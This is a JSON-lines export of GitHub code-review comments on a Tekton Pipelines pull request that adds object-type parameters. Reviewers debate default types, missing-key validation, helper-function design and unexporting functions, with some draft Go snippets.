+{"author": "ywluogg", "body": "Yeah I think this is also similar to the comment about whether we want to support nested objects for the initial stage.", "comment_id": 865298006, "created_at": "2022-05-04T20:06:20Z", "line": 50, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah that makes sense. I think this thread can be closed.", "comment_id": 865300499, "created_at": "2022-05-04T20:07:44Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Is it possible to pass through the whole object instead of each field individually? (thinking ahead to if/when objects are a mix of strings/arrays/objects)\r\n\r\nsgtm!\r\n\r\nAs `ObjectVal` is a map, how about this - having only one entry in the `ObjectVal` and passing through the whole object by using the param name as the entry's key and using the whole object as the entry's value. Let me know if this doesn't make sense.", "comment_id": 865549089, "created_at": "2022-05-05T04:36:19Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "\ud83d\udc4d Thanks for checking. We might want to look into adding a test for this (I have an idea for this - happy to do it in another PR)", "comment_id": 866005251, "created_at": "2022-05-05T14:58:31Z", "line": 145, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "> This validation is to check if keys are missed in default iff the default section is provided (code).\r\n\r\n\ud83d\udcaf Let's add a test to confirm the behavior and make sure that assumption doesn't break in the future without us knowing.\r\n\r\nPerhaps also add tests for TaskRun validation with object params as well? Otherwise totally agree with breaking things up into multiple pull requests!", "comment_id": 866014525, "created_at": "2022-05-05T15:07:11Z", "line": 636, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I realized we probably need to check the value is not empty? Otherwise get index out of bound error", "comment_id": 866121650, "created_at": "2022-05-05T16:50:28Z", "line": 144, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "Seems like this [original code](https://github.com/tektoncd/pipeline/blob/a3caabf08751b3a8515bf2e8528ee728c49280ae/pkg/apis/pipeline/v1beta1/param_types.go#L113-L121) didn't check that. And I guess the reason is that no matter what users provided in yaml, k8s will convert it to json so `value` will not be empty even though the value of a field is empty i.e. `default: `\r\n\r\nOtherwise, can you show me an example yaml that might trigger index out of bound error? \r\n", "comment_id": 866133617, "created_at": "2022-05-05T17:05:19Z", "line": 144, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I will add this in results's PR", "comment_id": 866186295, "created_at": "2022-05-05T18:13:14Z", "line": 144, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I will keep this in mind", "comment_id": 866188690, "created_at": "2022-05-05T18:16:23Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "sounds great! go for it @wlynch! Thanks!", "comment_id": 866221646, "created_at": "2022-05-05T18:57:08Z", "line": 145, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "sg! if this is specific to Unmarshal issue on the result side, it seems to make more sense to add that check behaviour in relevant pr so that people can track why. ", "comment_id": 866224191, "created_at": "2022-05-05T19:00:42Z", "line": 144, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "I'm not sure why this comment gets resolved?", "comment_id": 866349700, "created_at": "2022-05-05T22:08:01Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "I think the idea is pretty straightforward that there is module that's needed in results side that a structure needs to be validated against ArraryOrString. `ValidateObjectAgainstSchema(map[string]PropertySpec, object ArraryOrString)` should be the one you should be looking for.\r\nIt's in general good to think about how to structure the code, especially we know this will definitely be a module to be shared in the future. This should be a fairly quick restructure of the code that doesn't have to wait until results need to use this part.", "comment_id": 866356659, "created_at": "2022-05-05T22:22:33Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "\r\n> \ud83d\udcaf Let's add a test to confirm the behavior and make sure that assumption doesn't break in the future without us knowing.\r\n\r\nGood test case! Just added `myobjWithoutDefault` in `TestTaskValidate` function, which is object type and default is not provided. This valid param test makes sure it doesn't rely on `default` to set values for the object param. \r\n\r\n> Perhaps also add tests for TaskRun validation with object params as well? Otherwise totally agree with breaking things up into multiple pull requests!\r\n\r\nGood catch! After adding the alpha flag check, test coverage for `taskrun_validation.go` went down by 1.4% \ud83e\udd23 . I just added new test to test duplicate params which are object type to bring it back 100%. I think this is the only test needed to add because `taskrun_validation.go` doesn't implement any validation against type alignment etc. Let me know otherwise.", "comment_id": 866428722, "created_at": "2022-05-06T01:29:02Z", "line": 636, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "Just agreed on that we'll solve this in another pr. @ywluogg @Yongxuanzhang ", "comment_id": 866436109, "created_at": "2022-05-06T01:53:49Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "I'm not sure why the old comment gets resolved, but we probably don't want to make the default to be setting the type to be ParamTypeObject. Please error this out. This is different from the other default case in another comment thread", "comment_id": 866438352, "created_at": "2022-05-06T02:00:04Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "https://github.com/tektoncd/pipeline/pull/4839 might be related!", "comment_id": 866439173, "created_at": "2022-05-06T02:03:10Z", "line": 144, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "please follow up on the [original thread](https://github.com/tektoncd/pipeline/pull/4786#discussion_r867026704). I'll reopen it.", "comment_id": 866439731, "created_at": "2022-05-06T02:05:02Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "I realized the [old comment](https://github.com/tektoncd/pipeline/pull/4786#discussion_r863230699) gets outdated, but I think refactoring this part should be happening in this PR, rather than in the PR that results need it, as it is pretty straightforward that there is module that's needed in results side that a structure needs to be validated against ArraryOrString. ValidateObjectAgainstSchema(map[string]PropertySpec, object ArraryOrString) should be the one you should be looking for.\r\n\r\nThis should be a fairly quick restructure of the code that doesn't have to wait until results need to use this part. Let me know if you need help with that.", "comment_id": 866440451, "created_at": "2022-05-06T02:07:40Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> > In the original implementation, the if-else statement also works like the default is array type instead of throwing error. So I guess it makes more sense to follow the the original implementation.\r\n> \r\n> I'm fine with either of the implementation. Both LGTM!\r\n\r\nThought we'd agreed to follow the original implementation in which no error is thrown in default/`else`. Currently `pipelinerun_defaults.go` (where this function that you're commenting is finally called) seems not to throw any errors. correct me if I am wrong. Otherwise, can you elaborate with an example about how to throw errors in the mutation webhook, and where we want to propagate the error to?\r\n\r\n\r\n", "comment_id": 866441429, "created_at": "2022-05-06T02:11:17Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> ValidateObjectAgainstSchema(map[string]PropertySpec, object ArraryOrString) should be the one you should be looking for.\r\n\r\nThought we agreed to extract this helper function further in next pr once result side gets clear requirement on this. I am cool with having this helper to be extracted in this pr and I just tried with the function signature you just suggested. \r\n\r\n`map[string]PropertySpec, object ArraryOrString` implies we will only find missing keys for ***one pair*** of needed vs provided. That means we have to do something like the following to validate for all params/results of object type in both current module and where results use this, which seems not that elegant.\r\n```\r\nfor name, properties in required:\r\n find the name's corresponding ArrayOrString in provided:\r\n call this helper to check missing keys\r\n```\r\n\r\nSo I just make this function to accept two maps `needed` and `provided` to make it even more reusable. The map key will be the object name, and corresponding value will be a list of keys for that object.\r\n\r\nLet me know if this what you actually need on the result side. @Yongxuanzhang @ywluogg Happy to change otherwise.\r\n\r\n\r\n\r\n\r\n", "comment_id": 866476814, "created_at": "2022-05-06T04:12:13Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "If we have any missings then reutnr error, why don't when we find it at line 170 and directly return error?", "comment_id": 866863180, "created_at": "2022-05-06T14:04:37Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This seems to be a O(n^2) function and not so efficient .", "comment_id": 866867490, "created_at": "2022-05-06T14:09:26Z", "line": 196, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think this function should work, thanks @chuangw6! Left few questions regarding some details. \r\n", "comment_id": 866869018, "created_at": "2022-05-06T14:11:03Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I personally would prefer another slight different implementation:\r\nI think this is closer to what @ywluogg said?\r\n\r\n```\r\nfunc ValidateObjectParameters(paramSpecs []v1beta1.ParamSpec, params []v1beta1.Param) error {\r\n\tneededKeys := make(map[string][]string)\r\n\t// collect needed keys for object parameters\r\n\tfor _, spec := range paramSpecs {\r\n\t\tif spec.Type == v1beta1.ParamTypeObject {\r\n\t\t\tfor key := range spec.Properties {\r\n\t\t\t\tneededKeys[spec.Name] = append(neededKeys[spec.Name], key)\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t// validate param's objectval\r\n\tfor _, p := range params {\r\n\t\tif p.Value.Type == v1beta1.ParamTypeObject {\r\n\t\t\t\tif err:=ValidateObjectAgainstSchema(neededKeys[p.Name], p.Value.ObjectVal);err!=nil{\r\n return err\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\nfunc ValidateObjectAgainstSchema(needKeys[]string, object map[string]string){\r\n // one loop to store object keys in sets/map\r\n // one loop on needKeys and if not in sets/map return error\r\n\r\n}\r\n```\r\n ", "comment_id": 866875375, "created_at": "2022-05-06T14:18:03Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "This `list.diffleft` is existing implemented function that has been used in [multiple places](https://github.com/tektoncd/pipeline/search?q=list.diffleft) by convention to compare needed vs provided. I don't think it makes sense to reinvent the wheel here.", "comment_id": 866929616, "created_at": "2022-05-06T15:16:43Z", "line": 196, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> If we have any missings then reutnr error, why don't when we find it at line 170 and directly return error?\r\n\r\n\r\nBecause we want to give users more informative error message. For example, you have object param `a`, `b`, `c`, `d`and all of them have keys missing in provider (either from taskrun or result). If we did what you just said and directly return error, what will happen is that once key missing is detected for `a`, error will return and tell users \"hey, parameter a has missing keys, please fix it\", and users realize it and change it and apply their yaml. In the second round, they will receive error message again \"hey param b has missing keys, please fix again.\", so on and so forth. You can see, if many object params have missing keys, users need to apply the yaml many many times in order to get what params have missing keys.\r\n\r\nI don't think this is user-friendly error handling. So in this implementation, we collect all params which have missing keys, and tell users \"hey, these object params [a, b, c, d] have missing keys, please fix them\".\r\n\r\nSimilar patterns in the original code base: [example 1](https://github.com/tektoncd/pipeline/blob/1f5980f8c8a05b106687cfa3e5b3193c213cb66e/pkg/reconciler/pipelinerun/resources/validate_params.go#L68), [example 2](https://github.com/tektoncd/pipeline/blob/a343e755e4ea8f46050f19862fe3a5c788ad604a/pkg/reconciler/taskrun/validate_resources.go#L84), you can find more by searching `list.diffleft`", "comment_id": 866935643, "created_at": "2022-05-06T15:23:28Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I see why we use it, it is a good way to find out all missing keys, also make sense", "comment_id": 866937035, "created_at": "2022-05-06T15:24:46Z", "line": 196, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "I think this is related to this [comment](https://github.com/tektoncd/pipeline/pull/4786#discussion_r866863180). see response there. let me know if it doesn't make sense.", "comment_id": 866937172, "created_at": "2022-05-06T15:24:54Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "At least don't set the value to be an object at default. Or am I looking at an old snapshot? ", "comment_id": 866943853, "created_at": "2022-05-06T15:32:14Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Thanks for updating this. Can you add a TODO for it? And you can mark this as resolved", "comment_id": 866944387, "created_at": "2022-05-06T15:32:50Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes this makes sense! I think it is a trade-off, like whether we want to save more user's time like this. And throw err in advance will not have significant improvement in our case", "comment_id": 866945428, "created_at": "2022-05-06T15:34:09Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "But this func is not implemented time efficient, maybe we want to save more memory...", "comment_id": 866948124, "created_at": "2022-05-06T15:37:28Z", "line": 196, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> And throw err in advance will not have significant improvement in our case\r\n\r\nexactly\r\n\r\n", "comment_id": 866951764, "created_at": "2022-05-06T15:41:48Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> But this func is not implemented time efficient, maybe we want to save more memory...\r\n\r\nare you referring to `list.diffleft` or something else?", "comment_id": 866953321, "created_at": "2022-05-06T15:43:48Z", "line": 196, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes, maybe I'm thinking wrong", "comment_id": 866953756, "created_at": "2022-05-06T15:44:22Z", "line": 196, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> At least don't set the value to be an object at default. Or am I looking at an old snapshot?\r\n\r\nOnly three possible types: string, array, object. And string & array have been caught in the first two cases and only object type is left. Did I miss some case?\r\n\r\nI guess you're referring to unmarshal snippet in this [comment](https://github.com/tektoncd/pipeline/pull/4786#discussion_r863232810) where yongxuan requested default case is string for the purpose of result side. And that has been changed to default to string.\r\n ", "comment_id": 866960447, "created_at": "2022-05-06T15:52:40Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "I think design for ValidateObjectAgainstSchema() validating individual objects would make more sense, as it gives flexibility that we don't have to bundle all params together. But what I was thinking is like this:\r\n```\r\nfunc ValidateObjectParameters(paramSpecs []v1beta1.ParamSpec, params []v1beta1.Param) error {\r\n // this is a map of (pointers to a map)\r\n\tneededKeys := make(map[string]*map[string]PropertySpec)\r\n\t// collect needed keys for object parameters\r\n\tfor _, spec := range paramSpecs {\r\n\t\tif spec.Type == v1beta1.ParamTypeObject {\r\n neededProperties[spec.Name] = &spec.Properties\r\n\t\t}\r\n\t}\r\n\r\n\t// validate param's objectval\r\n\tfor _, p := range params {\r\n\t\tif p.Value.Type == v1beta1.ParamTypeObject {\r\n\t\t\t\tif err:=ValidateObjectAgainstSchema(neededKeys[p.Name], p.Value);err!=nil{\r\n return err\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\nfunc ValidateObjectAgainstSchema(p *map[string]PropertySpec, a *ArrayOrString){\r\n // if p is nil, means a is defined, but p doesnt have it\r\n // if p is not nil, blah...\r\n\r\n}\r\n```", "comment_id": 866966833, "created_at": "2022-05-06T15:59:30Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> it gives flexibility that we don't have to bundle all params together.\r\n\r\nwhat do you mean by bundling all params together? See this [comment](https://github.com/tektoncd/pipeline/pull/4786#discussion_r866935643) which is related to the design for this function. I guess this is related to how to handle errors (which is the purpose of this function as well) rather than something else. see details there.", "comment_id": 866969631, "created_at": "2022-05-06T16:02:03Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Can you add a TODO for it?\r\n\r\nsg. Done!", "comment_id": 866970872, "created_at": "2022-05-06T16:03:39Z", "line": 199, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "@ywluogg I think @chuangw6's current implementation can help to capture all missing keys and also aligned with code base, so it should be ok! We should move forward see if we can merge this pr asap", "comment_id": 866971057, "created_at": "2022-05-06T16:03:55Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "i see. that's a pre-existing utility function in the code base. Let's look into it later.", "comment_id": 866979031, "created_at": "2022-05-06T16:14:31Z", "line": 196, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "This should be:\r\n```\r\ncase ParamTypeString:\r\n...\r\ncase ParamTypeArray:\r\n...\r\ncase ParamTypeObject:\r\n...\r\ndefault:\r\n// set type to string\r\n```\r\nIdeally the default case should be throwing errors to catch this `ideally not should be happening` issue, but I agree that I don't see a good way to throw this error, but the cases should be separate.\r\n", "comment_id": 867021319, "created_at": "2022-05-06T17:11:12Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "I don't see the reason for merging this ASAP as a good reason to stay on a complicated design of piece of code.\r\n\r\nTo achieve capturing all the keys, the design can be the following:\r\n```\r\nfunc ValidateObjectParameters(paramSpecs []v1beta1.ParamSpec, params []v1beta1.Param) error {\r\n // this is a map of (pointers to a map)\r\n\tneededKeys := make(map[string]*map[string]PropertySpec)\r\n\t// collect needed keys for object parameters\r\n\tfor _, spec := range paramSpecs {\r\n\t\tif spec.Type == v1beta1.ParamTypeObject {\r\n neededProperties[spec.Name] = &spec.Properties\r\n\t\t}\r\n\t}\r\n\r\n missed :=[]\r\n\r\n\t// validate param's objectval\r\n\tfor _, p := range params {\r\n\t\tif p.Value.Type == v1beta1.ParamTypeObject {\r\n\t\t\t\tif m := ValidateObjectAgainstSchema(neededKeys[p.Name], p.Value); len(missedkeys) !=0 {\r\n missed = append(missed, m)\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n if len(missed) != 0 {\r\n // throw error together\r\n }\r\n\r\nfunc ValidateObjectAgainstSchema(p *map[string]PropertySpec, a *ArrayOrString) []string {\r\n // if p is nil, means a is defined, but p doesnt have it\r\n // if p is not nil, blah...\r\n // at the end, return all missed keys for this single object\r\n}\r\n```\r\n\r\nAnd what I mean by bundling all params together is that, what if somewhere else wants to validate against one single object? I'm not sure if your module is providing such flexibility", "comment_id": 867026495, "created_at": "2022-05-06T17:19:00Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "dibyom", "body": "so in general I agree with @ywluogg that we should error out for unexpected scenarios but I think in this case this function is being called as part of the mutating Webhook?\r\n\r\nIf this is a general purpose function that is reused elsewhere - we could return an error from this function but handle it properly in the Webhook (i.e. set the default) ?\r\n\r\n(I might be missing context here so let me know if I'm wrong!)", "comment_id": 867026704, "created_at": "2022-05-06T17:19:18Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Same logic applies here what if somewhere else wants to validate against one single param instead of the whole param list? I'm not sure if your module is providing that flexibility. You should put the loops in `validateParams`, and have:\r\n```\r\nValidateObjectParameters(ps *v1beta1.ParamSpec, p *v1beta1.Param) {\r\n\r\n}\r\n...\r\nfunc validateParams(ctx context.Context, paramSpecs []v1beta1.ParamSpec, params []v1beta1.Param) error {\r\n... \r\nmissedkeys := []\r\nfor _, spec := range paramSpecs {\r\n\t\tif spec.Type == v1beta1.ParamTypeObject {\r\n\t\t\tm = ValidateObjectParameters()\r\n if len(m) != 0 {\r\n missedkeys.append(m)\r\n }\r\n\t\t}\r\n\t}\r\n}\r\n// error for all params together\r\n", "comment_id": 867042741, "created_at": "2022-05-06T17:43:10Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "Ok, I see the point you're trying to make.\r\n\r\nBut wouldn't that be too specific? I don't see any scenario in the current code base which is to validate against one single param because when we enforce validation, it seems we validate the spec which has actually a list of params or results. I might miss that if there is one, or if you have some scenarios in mind which might need to validate against a single case in future, can you please explain a bit more?\r\n\r\nMore importantly, to support what you just mentioned - validate against a single item, should we also change these [pre-existing functions](https://github.com/tektoncd/pipeline/blob/f1ff83fa800e2e1e9c424c55e9d91e36bfe9af5e/pkg/reconciler/taskrun/validate_resources.go#L107-L145)?\r\n\r\n\r\n", "comment_id": 867057189, "created_at": "2022-05-06T18:04:44Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "Just remember that @wlynch also [commented](https://github.com/tektoncd/pipeline/pull/4786#discussion_r863916027) before that we want to extract all object-specific validation out to not interleave and avoid context switching for readers. I'll let @wlynch to chime in to get more inputs on this :)", "comment_id": 867065838, "created_at": "2022-05-06T18:18:37Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "> \r\n\r\nOne use case is that in Chains, we probably wouldn't match each params or objects in groups. They could be matched individually. When you have module with single item, it's super easy to extend another module to validate against all the params together, and that way it's super easy to wrap those loops within another layer of module. I don't see the problem here regarding to extensibility about hiding the loops.", "comment_id": 867072058, "created_at": "2022-05-06T18:27:47Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "> But wouldn't that be too specific? \r\n\r\nI'm not sure about this is being too specific, as I'm trying to come down to a design that can provide a flexible module that can be easily extended when we want another level of aggregation. \r\n\r\nIf I jump out of the scope of Chains use cases, I'd still prefer a way to design a sharable module that can be easily extended in terms of things like aggregation and other flexibilities.", "comment_id": 867097834, "created_at": "2022-05-06T18:34:47Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> so in general I agree with @ywluogg that we should error out for unexpected scenarios but I think in this case this function is being called as part of the mutating Webhook?\r\n\r\nAgreed! this is part of the mutating webhook.\r\n\r\n\r\n\r\n> This should be:\r\n> \r\n> ```\r\n> case ParamTypeString:\r\n> ...\r\n> case ParamTypeArray:\r\n> ...\r\n> case ParamTypeObject:\r\n> ...\r\n> default:\r\n> // set type to string\r\n> ```\r\n> \r\n\r\nSo do you mean it'd better if we treat the `ParamTypeString ` case as the default (not throwing error)? If so, that sgtm!\r\n\r\n", "comment_id": 867165650, "created_at": "2022-05-06T19:33:40Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "@dibyom @vdemeester @pritidesai Hi team we probably need more thoughts about making these as sharable modules.", "comment_id": 867169744, "created_at": "2022-05-06T19:41:15Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Yeah, because I don't think we want to make default to be objects, and this should be better aligned with https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#defaulting-to-string-types-for-values consistently", "comment_id": 867175472, "created_at": "2022-05-06T19:50:59Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "update: just update the code to align with the refactor for `validateParams` function that @jerop 's made in #4841. \r\n\r\nCan you please have a look at the [objectParam-specific functions](https://github.com/tektoncd/pipeline/pull/4786/files#diff-f6ff4d26a45baec7685e7ad851e9d7fa5901e719b4635d2c7de0298d08b8a71dR150-R198) which is just added and is also part of `validateParams`? @jerop Let me know what you think. Thanks!\r\n ", "comment_id": 867197615, "created_at": "2022-05-06T20:30:25Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "My 2c - I'm a little skeptical if we would actually need to validate params again in chains? If we can validate that a message came from the controller via spire, would there be a need to re-validate param fields? lmk off-thread if you have something else in mind - would be happy to chat more about this. \ud83d\udc40 \r\n\r\nOut of scope of this PR, but in general I think we may be exporting too much internal validation out through the package? e.g. idk if anyone besides the controller would call something like [`ValidateParameterTypes`](https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ValidateParameterTypes) - I'd expect most users that care about validation to just call through the Validatable interfaces on the CRD types.\r\n\r\nFor this PR - let's try and unexport as much as possible. This gives us flexibility to make changes with how validation is structured without needing to worry about breaking downstream clients (i.e. we can rewrite this later if we want).", "comment_id": 867282872, "created_at": "2022-05-07T01:18:37Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> For this PR - let's try and unexport as much as possible. This gives us flexibility to make changes with how validation is structured without needing to worry about breaking downstream clients (i.e. we can rewrite this later if we want).\r\n\r\nDone. Just unexported them.\r\n\r\nAgree. Let's leave the function signature as is to align with [other param-related validation functions](https://github.com/tektoncd/pipeline/blob/ba8348b17dcba2860c37e7aeb1f3c6059b5bed7a/pkg/reconciler/taskrun/validate_resources.go#L123-L173). We can rewrite it later if needed.", "comment_id": 868311298, "created_at": "2022-05-09T18:37:37Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "this [comment](https://github.com/tektoncd/pipeline/pull/4786#discussion_r867282872) might be related.", "comment_id": 868312069, "created_at": "2022-05-09T18:38:23Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "> would there be a need to re-validate param fields? lmk off-thread if you have something else in mind - would be happy to chat more about this. \ud83d\udc40\r\n> \r\n> Out of scope of this PR, but in general I think we may be exporting too much internal validation out through the package? e.g. idk if anyone besides the controller would call somethin\r\n\r\nCan you elaborate a bit more about validating via spire? I think in Tekton Chains, when we have a defined schema for type hinting, we still need to validate the results in TaskRuns against the defined schema, to make sure the results is providing what we need for generating the attestations. Let's discuss it offline!\r\n\r\nI think it makes sense to export the function here, as at least in TaskRun results there is a clear need to for such sharable module. I do agree that we can rewrite this piece of code later, but when I see a clear need of a piece of code, I think it worths thinking and discussing about it now rather than later, especially this change would happen so soon that we can anticipate what needs to be shared. The results implementation is happening right now in parallel ([PR4818](https://github.com/tektoncd/pipeline/pull/4818)). This refactoring also helps simplifying the current design for validateObjectKeys() and missingKeysObjectParamNames().", "comment_id": 868764132, "created_at": "2022-05-10T02:50:48Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "\r\n```suggestion\r\n\tcase pp.Default == nil:\r\n\t\t// ParamTypeString is the default value (when no type can be inferred from the default value)\r\n\t\tpp.Type = ParamTypeString\r\n```\r\n\r\nLet's preserve this comment - this struck me as weird on first pass because the absence of a default doesn't necessarily tell you what the underlying type is on its own.", "comment_id": 869413133, "created_at": "2022-05-10T15:48:14Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "ywluogg", "body": "Discussed offline with Chuang that we need to do the refactoring and provides single object validation later, but since the signatures need changes a lot, we plan to add a TODO here for future refactors. Chuang you can resolve this comment once TODO is added.", "comment_id": 869547685, "created_at": "2022-05-10T18:14:47Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Discussed offline with Chuang that we need to do the refactoring and provides single object validation later, but since the signatures need changes a lot, we plan to add a TODO here for future refactors. Chuang you can resolve this comment once TODO is added.\r\n\r\nsgtm! Thanks @ywluogg !", "comment_id": 869548723, "created_at": "2022-05-10T18:16:02Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4786, "repo": "pipeline"} +{"author": "wlynch", "body": "```suggestion\r\n\t\treturn &apis.ErrMissingField(fmt.Sprintf(\"%s.properties\", p.Name))\r\n```", "comment_id": 869551908, "created_at": "2022-05-10T18:20:00Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4786, "repo": 